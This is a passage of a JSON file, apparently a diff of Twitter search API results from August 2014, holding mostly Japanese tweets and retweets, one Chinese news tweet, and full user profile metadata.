"tepco.co.jp/nu/fukushima-n…", + "indices": [ + 32, + 54 + ] + }, + { + "url": "http://t.co/lmlgp38fgZ", + "expanded_url": "http://youtu.be/gDXEhyuVSDk", + "display_url": "youtu.be/gDXEhyuVSDk", + "indices": [ + 114, + 136 + ] + } + ], + "user_mentions": [ + { + "screen_name": "takuramix", + "name": "タクラミックス", + "id": 29599253, + "id_str": "29599253", + "indices": [ + 3, + 13 + ] + }, + { + "screen_name": "Lightworker19", + "name": "Lightworker", + "id": 238157843, + "id_str": "238157843", + "indices": [ + 69, + 83 + ] + } + ] + }, + "favorited": false, + "retweeted": false, + "possibly_sensitive": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:29:03 +0000 2014", + "id": 505874873961308160, + "id_str": "505874873961308160", + "text": "RT @shiawaseomamori: 一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるの…", + "source": "やっぱりアナ雪が好き♥", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2714052962, + "id_str": "2714052962", + "name": "やっぱりアナ雪が好き♥", + "screen_name": "anayuki_suki", + "location": "", + "description": "なんだかんだ言ってもやっぱりアナ雪が好きなんですよね~♪ \r\n私も好きって人は RT & 相互フォローで みなさん、お願いします♪", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 368, + "friends_count": 1826, + "listed_count": 1, + "created_at": "Thu Aug 07 08:29:13 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 670, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/497299646662705153/KMo3gkv7_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/497299646662705153/KMo3gkv7_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2714052962/1407400477", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweeted_status": { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:16:06 +0000 2014", + "id": 505871615125491700, + "id_str": "505871615125491712", + "text": "一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるのかもしれません。 by神様のカルテ、夏川草介", + "source": "幸せの☆お守り", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2745121514, + "id_str": "2745121514", + "name": "幸せの☆お守り", + "screen_name": "shiawaseomamori", + "location": "", + "description": "自分が幸せだと周りも幸せにできる! \r\nそんな人生を精一杯生きるために必要な言葉をお届けします♪ \r\nいいなと思ったら RT & 相互フォローで、お願いします。", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 213, + "friends_count": 991, + "listed_count": 0, + "created_at": "Tue Aug 19 14:45:19 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 349, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2745121514/1408459730", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [ + { + "screen_name": "shiawaseomamori", + "name": "幸せの☆お守り", + "id": 2745121514, + "id_str": "2745121514", + "indices": [ + 3, + 19 + ] + } + ] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "zh" + }, + "created_at": "Sun Aug 31 00:29:03 +0000 2014", + "id": 505874873759977500, + "id_str": "505874873759977473", + "text": "四川盆地江淮等地将有强降雨 开学日多地将有雨:   中新网8月31日电 据中央气象台消息,江淮东部、四川盆地东北部等地今天(31日)又将迎来一场暴雨或大暴雨天气。明天9月1日,是中小学生开学的日子。预计明天,内蒙古中部、... http://t.co/toQgVlXPyH", + "source": "twitterfeed", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2281979863, + "id_str": "2281979863", + "name": "News 24h China", + "screen_name": "news24hchn", + "location": "", + "description": "", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 719, + "friends_count": 807, + "listed_count": 7, + "created_at": "Wed Jan 08 10:56:04 +0000 2014", + "favourites_count": 0, + "utc_offset": 7200, + "time_zone": "Amsterdam", + "geo_enabled": false, + "verified": false, + "statuses_count": 94782, + "lang": "it", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://pbs.twimg.com/profile_background_images/452558963754561536/QPID3isM.jpeg", + "profile_background_image_url_https": "https://pbs.twimg.com/profile_background_images/452558963754561536/QPID3isM.jpeg", + "profile_background_tile": true, + "profile_image_url": "http://pbs.twimg.com/profile_images/439031926569979904/SlBH9iMg_normal.png", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/439031926569979904/SlBH9iMg_normal.png", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2281979863/1393508427", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "FFFFFF", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": false, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 0, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [ + { + "url": "http://t.co/toQgVlXPyH", + "expanded_url": "http://news24h.allnews24h.com/FX54", + "display_url": "news24h.allnews24h.com/FX54", + "indices": [ + 114, + 136 + ] + } + ], + "user_mentions": [] + }, + "favorited": false, + "retweeted": false, + "possibly_sensitive": false, + "lang": "zh" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:29:03 +0000 2014", + "id": 505874873248268300, + "id_str": "505874873248268288", + "text": "@Take3carnifex それは大変!一大事!命に関わります!\n是非うちに受診して下さい!", + "source": "Twitter for iPhone", + "truncated": false, + "in_reply_to_status_id": 505874353716600800, + "in_reply_to_status_id_str": "505874353716600832", + "in_reply_to_user_id": 535179785, + "in_reply_to_user_id_str": "535179785", + "in_reply_to_screen_name": "Take3carnifex", + "user": { + "id": 226897125, + "id_str": "226897125", + "name": "ひかり@hack", + "screen_name": "hikari_thirteen", + "location": "", + "description": "hackというバンドで、ギターを弾いています。 モンハンとポケモンが好き。 \nSPRING WATER リードギター(ヘルプ)\nROCK OUT レギュラーDJ", + "url": "http://t.co/SQLZnvjVxB", + "entities": { + "url": { + "urls": [ + { + "url": "http://t.co/SQLZnvjVxB", + "expanded_url": "http://s.ameblo.jp/hikarihikarimay", + "display_url": "s.ameblo.jp/hikarihikarimay", + "indices": [ + 0, + 22 + ] + } + ] + }, + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 296, + "friends_count": 348, + "listed_count": 3, + "created_at": "Wed Dec 15 10:51:51 +0000 2010", + "favourites_count": 33, + "utc_offset": 32400, + "time_zone": "Tokyo", + "geo_enabled": false, + "verified": false, + "statuses_count": 3293, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "131516", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme14/bg.gif", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme14/bg.gif", + "profile_background_tile": true, + "profile_image_url": "http://pbs.twimg.com/profile_images/378800000504584690/8ccba98eda8c0fd1d15a74e401f621d1_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/378800000504584690/8ccba98eda8c0fd1d15a74e401f621d1_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/226897125/1385551752", + "profile_link_color": "009999", + "profile_sidebar_border_color": "EEEEEE", + "profile_sidebar_fill_color": "EFEFEF", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": false, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 0, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [ + { + "screen_name": "Take3carnifex", + "name": "Take3", + "id": 535179785, + "id_str": "535179785", + "indices": [ + 0, + 14 + ] + } + ] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:29:03 +0000 2014", + "id": 505874873223110660, + "id_str": "505874873223110656", + "text": "RT @shiawaseomamori: 一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるの…", + "source": "今どき女子高生の謎w", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2744236873, + "id_str": "2744236873", + "name": "今どき女子高生の謎w", + "screen_name": "imadokijoshiko", + "location": "", + "description": "思わず耳を疑う男性の方の夢を壊してしまう、\r\n女子高生達のディープな世界を見てください☆ \r\nおもしろいと思ったら RT & 相互フォローでお願いします♪", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 79, + "friends_count": 973, + "listed_count": 0, + "created_at": "Tue Aug 19 07:06:47 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 354, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/501627015980535808/avWBgkDh_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/501627015980535808/avWBgkDh_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2744236873/1408432455", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweeted_status": { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:16:06 +0000 2014", + "id": 505871615125491700, + "id_str": "505871615125491712", + "text": "一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるのかもしれません。 by神様のカルテ、夏川草介", + "source": "幸せの☆お守り", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2745121514, + "id_str": "2745121514", + "name": "幸せの☆お守り", + "screen_name": "shiawaseomamori", + "location": "", + "description": "自分が幸せだと周りも幸せにできる! \r\nそんな人生を精一杯生きるために必要な言葉をお届けします♪ \r\nいいなと思ったら RT & 相互フォローで、お願いします。", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 213, + "friends_count": 991, + "listed_count": 0, + "created_at": "Tue Aug 19 14:45:19 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 349, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2745121514/1408459730", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [ + { + "screen_name": "shiawaseomamori", + "name": "幸せの☆お守り", + "id": 2745121514, + "id_str": "2745121514", + "indices": [ + 3, + 19 + ] + } + ] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:29:02 +0000 2014", + "id": 505874872463925250, + "id_str": "505874872463925248", + "text": "RT @shiawaseomamori: 一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるの…", + "source": "私の理想の男性像", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2761782601, + "id_str": "2761782601", + "name": "私の理想の男性像", + "screen_name": "risou_dansei", + "location": "", + "description": "こんな男性♥ ほんとにいるのかしら!? \r\n「いたらいいのになぁ」っていう理想の男性像をを、私目線でつぶやきます。 \r\nいいなと思った人は RT & フォローお願いします♪", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 69, + "friends_count": 974, + "listed_count": 0, + "created_at": "Sun Aug 24 08:03:32 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 208, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/503452833719410688/tFU509Yk_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/503452833719410688/tFU509Yk_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2761782601/1408867519", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweeted_status": { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:16:06 +0000 2014", + "id": 505871615125491700, + "id_str": "505871615125491712", + "text": "一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるのかもしれません。 by神様のカルテ、夏川草介", + "source": "幸せの☆お守り", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2745121514, + "id_str": "2745121514", + "name": "幸せの☆お守り", + "screen_name": "shiawaseomamori", + "location": "", + "description": "自分が幸せだと周りも幸せにできる! \r\nそんな人生を精一杯生きるために必要な言葉をお届けします♪ \r\nいいなと思ったら RT & 相互フォローで、お願いします。", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 213, + "friends_count": 991, + "listed_count": 0, + "created_at": "Tue Aug 19 14:45:19 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 349, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2745121514/1408459730", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [ + { + "screen_name": "shiawaseomamori", + "name": "幸せの☆お守り", + "id": 2745121514, + "id_str": "2745121514", + "indices": [ + 3, + 19 + ] + } + ] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:29:02 +0000 2014", + "id": 505874871713157100, + "id_str": "505874871713157120", + "text": "RT @shiawaseomamori: 一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるの…", + "source": "激アツ★6秒動画", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2725690658, + "id_str": "2725690658", + "name": "激アツ★6秒動画", + "screen_name": "gekiatu_6byou", + "location": "", + "description": "話題の6秒動画! \r\n思わず「ほんとかよっ」てツッコんでしまう内容のオンパレード! \r\nおもしろかったら、是非 RT & フォローお願いします。", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 195, + "friends_count": 494, + "listed_count": 0, + "created_at": "Tue Aug 12 08:17:29 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 477, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/499107997444886528/3rl6FrIk_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/499107997444886528/3rl6FrIk_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2725690658/1407832963", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweeted_status": { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:16:06 +0000 2014", + "id": 505871615125491700, + "id_str": "505871615125491712", + "text": "一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるのかもしれません。 by神様のカルテ、夏川草介", + "source": "幸せの☆お守り", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2745121514, + "id_str": "2745121514", + "name": "幸せの☆お守り", + "screen_name": "shiawaseomamori", + "location": "", + "description": "自分が幸せだと周りも幸せにできる! \r\nそんな人生を精一杯生きるために必要な言葉をお届けします♪ \r\nいいなと思ったら RT & 相互フォローで、お願いします。", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 213, + "friends_count": 991, + "listed_count": 0, + "created_at": "Tue Aug 19 14:45:19 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 349, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2745121514/1408459730", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [ + { + "screen_name": "shiawaseomamori", + "name": "幸せの☆お守り", + "id": 2745121514, + "id_str": "2745121514", + "indices": [ + 3, + 19 + ] + } + ] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:29:02 +0000 2014", + "id": 505874871616671740, + "id_str": "505874871616671744", + "text": "爆笑ww珍解答集!\n先生のツメの甘さと生徒のセンスを感じる一問一答だとFBでも話題!!\nうどん天下一決定戦ウィンドウズ9三重高校竹内由恵アナ花火保険\nhttp://t.co/jRWJt8IrSB http://t.co/okrAoxSbt0", + "source": "笑える博物館", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2748747362, + "id_str": "2748747362", + "name": "笑える博物館", + "screen_name": "waraeru_kan", + "location": "", + "description": "", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 19, + "friends_count": 10, + "listed_count": 0, + "created_at": "Wed Aug 20 11:11:04 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 15137, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://abs.twimg.com/sticky/default_profile_images/default_profile_4_normal.png", + "profile_image_url_https": "https://abs.twimg.com/sticky/default_profile_images/default_profile_4_normal.png", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": true, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 0, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [ + { + "url": "http://t.co/jRWJt8IrSB", + "expanded_url": "http://bit.ly/1qBa1nl", + "display_url": "bit.ly/1qBa1nl", + "indices": [ + 75, + 97 + ] + } + ], + "user_mentions": [], + "media": [ + { + "id": 505874871344066560, + "id_str": "505874871344066560", + "indices": [ + 98, + 120 + ], + "media_url": "http://pbs.twimg.com/media/BwU6g-dCcAALxAW.png", + "media_url_https": "https://pbs.twimg.com/media/BwU6g-dCcAALxAW.png", + "url": "http://t.co/okrAoxSbt0", + "display_url": "pic.twitter.com/okrAoxSbt0", + "expanded_url": "http://twitter.com/waraeru_kan/status/505874871616671744/photo/1", + "type": "photo", + "sizes": { + "small": { + "w": 340, + "h": 425, + "resize": "fit" + }, + "thumb": { + "w": 150, + "h": 150, + "resize": "crop" + }, + "large": { + "w": 600, + "h": 750, + "resize": "fit" + }, + "medium": { + "w": 600, + "h": 750, + "resize": "fit" + } + } + } + ] + }, + "favorited": false, + "retweeted": false, + "possibly_sensitive": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:29:02 +0000 2014", + "id": 505874871268540400, + "id_str": "505874871268540416", + "text": "@nasan_arai \n名前→なーさん\n第一印象→誰。(´・_・`)\n今の印象→れいら♡\nLINE交換できる?→してる(「・ω・)「\n好きなところ→可愛い優しい優しい優しい\n最後に一言→なーさん好き〜(´・_・`)♡GEM現場おいでね(´・_・`)♡\n\n#ふぁぼした人にやる", + "source": "Twitter for iPhone", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": 1717603286, + "in_reply_to_user_id_str": "1717603286", + "in_reply_to_screen_name": "nasan_arai", + "user": { + "id": 2417626784, + "id_str": "2417626784", + "name": "✩.ゆきଘ(*´꒳`)", + "screen_name": "Ymaaya_gem", + "location": "", + "description": "⁽⁽٩( ᐖ )۶⁾⁾ ❤︎ 武 田 舞 彩 ❤︎ ₍₍٩( ᐛ )۶₎₎", + "url": "http://t.co/wR0Qb76TbB", + "entities": { + "url": { + "urls": [ + { + "url": "http://t.co/wR0Qb76TbB", + "expanded_url": "http://twpf.jp/Ymaaya_gem", + "display_url": "twpf.jp/Ymaaya_gem", + "indices": [ + 0, + 22 + ] + } + ] + }, + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 198, + "friends_count": 245, + "listed_count": 1, + "created_at": "Sat Mar 29 16:03:06 +0000 2014", + "favourites_count": 3818, + "utc_offset": null, + "time_zone": null, + "geo_enabled": true, + "verified": false, + "statuses_count": 8056, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + 